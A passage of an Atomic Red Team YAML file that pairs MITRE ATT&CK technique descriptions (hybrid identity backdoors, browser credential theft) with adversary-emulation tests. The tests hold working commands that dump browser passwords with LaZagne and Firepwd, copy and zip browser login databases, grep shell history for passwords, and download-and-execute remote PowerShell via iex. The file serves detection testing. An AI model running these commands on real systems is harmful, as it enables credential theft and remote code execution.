        Find passwords in the powershell history files
        Searching for following strings: "password", "-p", "key", "pwd", "pass"
      supported_platforms:
      - windows
      executor:
        command: 'ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
          | Select-String "password", "-p", "key", "pwd", "pass"

          '
        name: powershell
        elevation_required: true
  T1556.007:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Hybrid Identity
      description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication
        processes that are tied to on-premises user identities in order to bypass
        typical authentication mechanisms, access credentials, and enable persistent
        access to accounts.  \n\nMany organizations maintain hybrid user and device
        identities that are shared between on-premises and cloud-based environments.
        These can be maintained in a number of ways. For example, Azure AD includes
        three options for synchronizing identities between Active Directory and Azure
        AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization
        (PHS), in which a privileged on-premises account synchronizes user password
        hashes between Active Directory and Azure AD, allowing authentication to Azure
        AD to take place entirely in the cloud \n* Pass Through Authentication (PTA),
        in which Azure AD authentication attempts are forwarded to an on-premises
        PTA agent, which validates the credentials against Active Directory \n* Active
        Directory Federation Services (AD FS), in which a trust relationship is established
        between Active Directory and Azure AD \n\nAD FS can also be used with other
        SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication
        process to AD FS and receive a token containing the hybrid users’ identity
        and privileges. \n\nBy modifying authentication processes tied to hybrid identities,
        an adversary may be able to establish persistent privileged access to cloud
        resources. For example, adversaries who compromise an on-premises server running
        a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService`
        process that authorizes all attempts to authenticate to Azure AD, as well
        as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation:
        AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary
        may edit the `Microsoft.IdentityServer.Servicehost` configuration file to
        load a malicious DLL that generates authentication tokens for any user with
        any set of claims, thereby bypassing multi-factor authentication and defined
        AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able
        to modify the hybrid identity authentication process from the cloud. For example,
        adversaries who compromise a Global Administrator account in an Azure AD tenant
        may be able to register a new PTA agent via the web console, similarly allowing
        them to harvest credentials and log into the Azure AD environment as any user.(Citation:
        Mandiant Azure AD Backdoors)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: ''
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      - Google Workspace
      - Office 365
      - IaaS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f
      created: '2022-09-28T13:29:53.354Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/007
        external_id: T1556.007
      - source_name: Azure AD Connect for Read Teamers
        description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers.
          Retrieved September 28, 2022.
        url: https://blog.xpnsec.com/azuread-connect-for-redteam/
      - source_name: AADInternals Azure AD On-Prem to Cloud
        description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting
          access to cloud as an on-prem admin. Retrieved September 28, 2022.'
        url: https://o365blog.com/post/on-prem_admin/
      - source_name: MagicWeb
        description: 'Microsoft Threat Intelligence Center, Microsoft Detection and
          Response Team, Microsoft 365 Defender Research Team . (2022, August 24).
          MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved
          September 28, 2022.'
        url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/
      - source_name: Azure AD Hybrid Identity
        description: Microsoft. (2022, August 26). Choose the right authentication
          method for your Azure Active Directory hybrid identity solution. Retrieved
          September 28, 2022.
        url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn
      - source_name: Mandiant Azure AD Backdoors
        description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and
          Azure Active Directory Backdoors. Retrieved September 28, 2022.
        url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1555.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ryan Benson, Exabeam
      - Barry Shteiman, Exabeam
      - Sylvain Gil, Exabeam
      - RedHuntLabs, @redhuntlabs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8
      type: attack-pattern
      created: '2020-02-12T18:57:36.041Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1555.003
        url: https://attack.mitre.org/techniques/T1555/003
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: Microsoft CryptUnprotectData April 2018
        url: https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
        description: Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved
          June 18, 2019.
      - source_name: Proofpoint Vega Credential Stealer May 2018
        url: https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign
        description: Proofpoint. (2018, May 10). New Vega Stealer shines brightly
          in targeted campaign . Retrieved June 18, 2019.
      - source_name: FireEye HawkEye Malware July 2017
        url: https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
        description: Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential
          Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18,
          2019.
      - source_name: GitHub Mimikittenz July 2016
        url: https://github.com/putterpanda/mimikittenz
        description: Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz.
          Retrieved June 20, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Credentials from Password Stores: Credentials from Web Browsers'
      description: "Adversaries may acquire credentials from web browsers by reading
        files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)
        Web browsers commonly save credentials such as website usernames and passwords
        so that they do not need to be entered manually in the future. Web browsers
        typically store the credentials in an encrypted format within a credential
        store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor
        example, on Windows systems, encrypted credentials may be obtained from Google
        Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User
        Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url,
        username_value, password_value FROM logins;</code>. The plaintext password
        can then be obtained by passing the encrypted credentials to the Windows API
        function <code>CryptUnprotectData</code>, which uses the victim’s cached logon
        credentials as the decryption key.(Citation: Microsoft CryptUnprotectData
        April 2018)\n \nAdversaries have executed similar procedures for common web
        browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential
        Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores
        Internet Explorer and Microsoft Edge credentials in Credential Lockers managed
        by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries
        may also acquire credentials by searching web browser process memory for patterns
        that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter
        acquiring credentials from web browsers, adversaries may attempt to recycle
        the credentials across different systems and/or accounts in order to expand
        access. This can result in significantly furthering an adversary's objective
        in cases where credentials gained from web browsers overlap with privileged
        accounts (e.g. domain administrator)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: 'Identify web browser files that contain credentials such
        as Google Chrome’s Login Data database file: <code>AppData\Local\Google\Chrome\User
        Data\Default\Login Data</code>. Monitor file read events of web browser files
        that contain credentials, especially when the reading process is unrelated
        to the subject web browser. Monitor process execution logs to include PowerShell
        Transcription focusing on those that perform a combination of behaviors including
        reading web browser process memory, utilizing regular expressions, and those
        that contain numerous keywords for common web applications (Gmail, Twitter,
        Office365, etc.).'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Access'
      - 'File: File Access'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1555.003
    atomic_tests:
    - name: Run Chrome-password Collector
      auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622
      description: |
        A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

        Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

        Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path for modified Sysinternals
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads
      dependency_executor_name: powershell
      dependencies:
      - description: 'Modified Sysinternals must be located at #{file_path}

          '
        prereq_command: 'if (Test-Path "#{file_path}\SysInternals") {exit 0} else
          {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
          Expand-Archive "#{file_path}\Modified-SysInternalsSuite.zip" "#{file_path}\sysinternals" -Force
          Remove-Item "#{file_path}\Modified-SysInternalsSuite.zip" -Force
      executor:
        command: |
          Set-Location -path "#{file_path}\Sysinternals";
          ./accesschk.exe -accepteula .;
        cleanup_command: 'Remove-Item "#{file_path}\Sysinternals" -Force -Recurse
          -ErrorAction Ignore

          '
        name: powershell
    - name: Search macOS Safari Cookies
      auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b
      description: |
        This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

        Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.
      supported_platforms:
      - macos
      input_arguments:
        search_string:
          description: String to search Safari cookies to find.
          type: string
          default: coinbase
      executor:
        command: |
          cd ~/Library/Cookies
          grep -q "#{search_string}" "Cookies.binarycookies"
        name: sh
    - name: LaZagne - Credentials from Browser
      auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014
      description: "The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne)
        to extract passwords from browsers on the Windows operating system.\nLaZagne
        is an open source application used to retrieve passwords stored on a local
        computer. \n"
      supported_platforms:
      - windows
      input_arguments:
        lazagne_path:
          description: Path to LaZagne
          type: path
          default: PathToAtomicsFolder\T1555.003\bin\LaZagne.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'LaZagne.exe must exist on disk at specified location (#{lazagne_path})

          '
        prereq_command: 'if (Test-Path "#{lazagne_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{lazagne_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe" -OutFile "#{lazagne_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: '"#{lazagne_path}" browsers

          '
    - name: Simulating access to Chrome Login Data
      auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d
      description: "Simulates an adversary accessing encrypted credentials from Google
        Chrome Login database. \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

          '
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi"
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
          msiexec /i $installer /qn
          Start-Process -FilePath "chrome.exe"
          Stop-Process -Name "chrome"
      executor:
        name: powershell
        command: |
          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
        cleanup_command: |
          Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore
          Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore
    - name: Simulating access to Opera Login Data
      auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b
      description: "Simulates an adversary accessing encrypted credentials from Opera
        web browser's login database. \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Opera must be installed

          '
        prereq_command: if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe")
          -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program
          Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $installer = "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe"
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe" https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe
          Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'
          Start-Sleep -s 180
          Stop-Process -Name "opera"
      - description: 'Opera login data file must exist

          '
        prereq_command: if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login
          Data") {exit 0} else {exit 1}
        get_prereq_command: 'New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login
          Data" -ItemType File

          '
      executor:
        name: powershell
        command: 'Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data"
          -Destination "PathToAtomicsFolder\..\ExternalPayloads"

          '
        cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login
          Data" -Force -ErrorAction Ignore

          '
    - name: Simulating access to Windows Firefox Login Data
      auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c
      description: |
        Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
        more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Firefox must be installed

          '
        prereq_command: if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe")
          -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit
          0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"}
          $installer = "PathToAtomicsFolder\..\ExternalPayloads\firefoxsetup.exe"
          (New-Object Net.WebClient).DownloadFile($url,$installer)
          Start-Process $installer -ArgumentList '/S' -Wait
      - description: 'Firefox login data file must exist

          '
        prereq_command: if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit
          0} else {exit 1}
        get_prereq_command: |
          if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"}
          Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
          Start-Process $firefox -NoNewWindow
          Start-Sleep -s 20
          Stop-Process -Name firefox
      executor:
        name: powershell
        command: 'Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination
          "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse

          '
        cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles"
          -Force -ErrorAction Ignore -Recurse

          '
    - name: Simulating access to Windows Edge Login Data
      auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329
      description: |
        Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
        more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Edge must be installed

          '
        prereq_command: if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe")
          {exit 0} else {exit 1}
        get_prereq_command: '"Installation is not implemented as Edge is a part of
          windows"

          '
      - description: 'Edge login data file must exist

          '
        prereq_command: if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default")
          {exit 0} else {exit 1}
        get_prereq_command: "$edge=\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\nStart-Process
          $edge \nStart-Sleep -s 20\nStop-Process -Name msedge\n"
      executor:
        name: powershell
        command: 'Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination
          "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse

          '
        cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge"
          -Force -ErrorAction Ignore -Recurse

          '
    - name: Decrypt Mozilla Passwords with Firepwd.py
      auto_generated_guid: dc9cd677-c70f-4df5-bd1c-f114af3c2381
      description: "Firepwd.py is a script that can decrypt Mozilla (Thunderbird,
        Firefox) passwords.\nUpon successful execution, the decrypted credentials
        will be output to a text file, as well as displayed on screen. \n\nWill create
        a Python virtual environment within the External Payloads folder that can
        be deleted manually post test execution.\n"
      supported_platforms:
      - windows
      input_arguments:
        Firepwd_Path:
          description: Filepath for Firepwd.py
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004\Scripts\Firepwd.py
        Out_Filepath:
          description: Filepath to output results to
          type: string
          default: "$env:temp\\T1555.003Test8.txt"
        VS_CMD_Path:
          description: Filepath to Visual Studio Build Tools Command prompt
          type: string
          default: C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvars64.bat
        Python_Path:
          description: Filepath to python
          type: string
          default: C:\Program Files\Python310\python.exe
        venv_path:
          description: Path to the folder for the tactics venv
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004
      dependency_executor_name: powershell
      dependencies:
      - description: 'Firefox profile directory must be present

          '
        prereq_command: 'if (get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
          -erroraction silentlycontinue) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi" -outfile "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi"
          msiexec.exe /i "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" /quiet
          sleep -s 30
          start-process "$env:programfiles\Mozilla Firefox\firefox.exe".
          sleep -s 5
          stop-process -name "firefox"
      - description: 'Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}

          '
        prereq_command: 'if (Test-Path "#{VS_CMD_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://aka.ms/vs/17/release/vs_BuildTools.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe"
          write-host "Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe."
      - description: 'Python must be installed

          '
        prereq_command: 'if (Test-Path "#{Python_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
      - description: 'Computer must have venv configured at #{venv_path}

          '
        prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit
          1 }

          '
        get_prereq_command: 'py -m venv "#{venv_path}"

          '
      - description: 'Firepwd must exist at #{Firepwd_Path}

          '
        prereq_command: 'if (Test-Path "#{Firepwd_Path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py" -outfile "#{Firepwd_Path}"
      - description: "Pycryptodome library must be installed \n"
        prereq_command: 'if (#{venv_path}\Scripts\pip.exe show pycryptodome) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'if (test-path "#{VS_CMD_Path}"){#{venv_path}\Scripts\pip.exe
          install pycryptodome | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" |
          out-null} else {write-host "Visual Studio Build Tools (C++ Support) must
          be installed to continue gathering this prereq"}

          '
      - description: "Pyasn1 library must be installed \n"
        prereq_command: 'if (#{venv_path}\Scripts\pip.exe show pyasn1) {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'if (test-path "#{VS_CMD_Path}") & {#{venv_path}\Scripts\pip.exe
          install pyasn1 | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null}
          else {write-host "Visual Studio Build Tools (C++ Support) must be installed
          to continue gathering this prereq."}

          '
      executor:
        name: powershell
        command: |
          $PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
          cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}
          cat #{Out_Filepath}
        cleanup_command: "Remove-Item -Path \"#{Out_Filepath}\" -erroraction silentlycontinue
          \  \n"
    - name: LaZagne.py - Dump Credentials from Firefox Browser
      auto_generated_guid: 87e88698-621b-4c45-8a89-4eaebdeaabb1
      description: Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser,
        Reference https://github.com/AlessandroZ/LaZagne
      supported_platforms:
      - linux
      input_arguments:
        lazagne_path:
          description: Path you put LaZagne Github with LaZagne.py
          type: string
          default: "/tmp/LaZagne/Linux"
        specific_module:
          description: You may change the module to "all" for all password that can
            be found by LaZagne.py
          type: string
          default: browsers -firefox
        output_file:
          description: This is where output for the Firefox passwords goes
          type: string
          default: "/tmp/firefox_password.txt"
      dependency_executor_name: sh
      dependencies:
      - description: Get Lazagne from Github and install requirements
        prereq_command: 'test -f #{lazagne_path}/laZagne.py'
        get_prereq_command: cd /tmp; git clone https://github.com/AlessandroZ/LaZagne;
          cd /tmp/LaZagne/; pip install -r requirements.txt
      - description: Needs git, python3 and some pip stuff
        prereq_command: which git && which python3 && which pip
        get_prereq_command: apt install git; apt install python3-pip -y; pip install
          pyasn1 psutil Crypto
      executor:
        command: 'python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}'
        cleanup_command: 'rm -R /tmp/LaZagne; rm -f #{output_file}'
        name: sh
        elevation_required: true
    - name: Stage Popular Credential Files for Exfiltration
      auto_generated_guid: f543635c-1705-42c3-b180-efd6dc6e7ee7
      description: "This test is designed to search a drive for credential files used
        by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge),
        export the found files to a folder, and zip it,\nsimulating how an adversary
        might stage sensitive credential files for exfiltration in order to conduct
        offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd)
        or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData). \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: "$exfil_folder = \"$env:temp\\T1555.003\"\nif (test-path \"$exfil_folder\")
          {} else {new-item -path \"$env:temp\" -Name \"T1555.003\" -ItemType \"directory\"
          -force}\n$FirefoxCredsLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\nif
          (test-path \"$FirefoxCredsLocation\\key4.db\") {copy-item \"$FirefoxCredsLocation\\key4.db\"
          -destination \"$exfil_folder\\T1555.003Firefox_key4.db\"} else {}\nif (test-path
          \"$FirefoxCredsLocation\\logins.json\") {copy-item \"$FirefoxCredsLocation\\logins.json\"
          -destination \"$exfil_folder\\T1555.003Firefox_logins.json\"} else {}\nif
          (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login
          Data\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login
          Data\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data\"} else
          {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login
          Data For Account\") {copy-item \"$env:localappdata\\Google\\Chrome\\User
          Data\\Default\\Login Data For Account\" -destination \"$exfil_folder\\T1555.003Chrome_Login
          Data For Account\"} else {}\nif (test-path \"$env:appdata\\Opera Software\\Opera
          Stable\\Login Data\") {copy-item \"$env:appdata\\Opera Software\\Opera Stable\\Login
          Data\" -destination \"$exfil_folder\\T1555.003Opera_Login Data\"} else {}\nif
          (test-path \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\")
          {copy-item \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\"
          -destination \"$exfil_folder\\T1555.003Edge_Login Data\"} else {} \ncompress-archive
          -path \"$exfil_folder\" -destinationpath \"$exfil_folder.zip\" -force\n"
        cleanup_command: "Remove-Item -Path \"$env:temp\\T1555.003.zip\" -force -erroraction
          silentlycontinue   \nRemove-Item -Path \"$env:temp\\T1555.003\\\" -force
          -recurse -erroraction silentlycontinue\n"
    - name: WinPwn - BrowserPwn
      auto_generated_guid: 764ea176-fb71-494c-90ea-72e9d85dce76
      description: Collect Browser credentials as well as the history via winpwn browserpwn
        function of WinPwn.
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          browserpwn -consoleoutput -noninteractive
        cleanup_command: rm .\System.Data.SQLite.dll -ErrorAction Ignore
        name: powershell
    - name: WinPwn - Loot local Credentials - mimi-kittenz
      auto_generated_guid: ec1d0b37-f659-4186-869f-31a554891611
      description: Loot local Credentials - mimi-kittenz technique via function of
        WinPwn - Extend timeout to 600s
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          kittenz -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials
      auto_generated_guid: e5e3d639-6ea8-4408-9ecd-d5a286268ca0
      description: PowerSharpPack - Sharpweb searching for Browser Credentials technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
          Invoke-Sharpweb -command "all"
        name: powershell
    - name: Simulating Access to Chrome Login Data - MacOS
